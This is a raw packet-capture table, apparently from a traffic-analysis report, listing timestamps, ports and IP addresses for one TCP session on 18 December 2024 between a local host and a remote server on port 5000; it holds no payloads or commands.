Dec 18, 2024 11:40:30.492942095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.492990971 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.493992090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.494107962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.494148016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.494929075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.495105982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.495188951 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.495847940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.495946884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.496038914 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.496861935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.496936083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.497004032 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.497953892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.498030901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.498076916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.498836040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.498945951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.498986959 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.499914885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.500035048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.500072002 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.500874996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.500953913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.501003027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.501773119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.501955986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.502017021 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.502820015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.502943039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.502985001 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.503838062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.503923893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.504023075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.504770041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.504859924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.505131006 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.505795956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.505872011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.505985022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.506925106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.507011890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.507076979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.508126974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.508191109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.508354902 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.508616924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.508725882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.508766890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.509653091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.509752035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.509850979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.510591030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.550506115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.650162935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.650374889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.650475979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.650691986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.650746107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.650798082 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.651609898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.651895046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.651978016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.652535915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.652643919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.652721882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.653284073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.653409004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.653595924 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.654344082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.654505014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.654563904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.655424118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.655520916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.655574083 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.656277895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.656435013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.656492949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.657233000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.657427073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.657475948 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.658255100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.658364058 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.658416986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.659224033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.659362078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.659424067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.660235882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.660372019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.660423994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.661226988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.661423922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.661495924 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.662369967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.662520885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.662652016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.663292885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.663508892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.663626909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.664232016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.664395094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.664446115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.665170908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.665327072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.665374994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.666181087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.666344881 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.666416883 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.667160988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.667273045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.667330027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.668190956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.668420076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.668472052 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.669126987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.669358969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.669440031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.670212030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.670299053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.670387030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.671145916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.671333075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.671377897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.674506903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.674524069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.674539089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.674554110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.674570084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.674586058 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.674693108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.674772024 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.674772024 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.675412893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.675429106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.675517082 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.676587105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.677341938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.677402020 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.680022001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.680037975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.680164099 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.680891991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.681051016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.681152105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.681914091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.681931973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.682024956 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.682792902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.682977915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.683062077 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.683847904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.683864117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.683947086 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.684904099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.684919119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.685009956 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.685949087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.685966015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.686048031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.686938047 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.686964989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.687082052 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.687783003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.687964916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.688014030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.688819885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.689017057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.689110994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.689902067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.689918995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.689973116 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.690850973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.691034079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.691112995 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.692128897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.692163944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.692215919 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.692790031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.692971945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.693087101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.693898916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.693941116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.693995953 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.694783926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.694958925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.695004940 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.695888042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.695923090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.696022034 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.696666002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.697001934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.697164059 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.698172092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.698208094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.698349953 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.698760033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.698946953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.699038029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.699817896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.700012922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.700164080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.700716972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.700908899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.701030016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.701945066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.702296972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.702409029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.702455044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.702641964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.702716112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.703558922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.703738928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.703833103 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.704422951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.753766060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.841017962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.841082096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.841617107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.841815948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.841831923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.842052937 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.842535973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.842658997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.842782974 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.843482971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.843590021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.843646049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.844465971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.844638109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.844698906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.845460892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.845582008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.845693111 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.846453905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.846618891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.846659899 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.847431898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.847517014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.847583055 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.848426104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.848628998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.848692894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.849415064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.849575996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.849647045 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.850461006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.850594044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.850744009 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.851459980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.851610899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.851787090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.852595091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.852632999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.852695942 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.853388071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.853503942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.853568077 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.854451895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.854558945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.854623079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.855489969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.855649948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.855701923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.856497049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.856621981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.856699944 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.857564926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.857655048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.857831955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.858545065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.858643055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.858716965 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.859565020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.859601021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.859672070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.860466003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.860580921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.860634089 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.861354113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.861430883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.861490965 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.862337112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.862546921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.862596035 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.863310099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.863513947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.863579035 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.864546061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.864676952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.864840984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.865442991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.865633011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.865709066 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.866271019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.866627932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.866782904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.867264986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.867292881 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.867347002 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.868277073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.868375063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.868463039 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.869296074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.869446039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.869509935 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.870279074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.870400906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.870460987 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.871378899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.871500015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.871582031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.872284889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.872308016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.872416019 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.873264074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.873447895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.873518944 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.874244928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.874397993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.874447107 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.875857115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.876074076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.876189947 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.876358986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.876473904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.876534939 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.877212048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.877327919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.877408028 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.878254890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.878417015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.878501892 CET	49705	5000	192.168.2.5	194.59.30.220
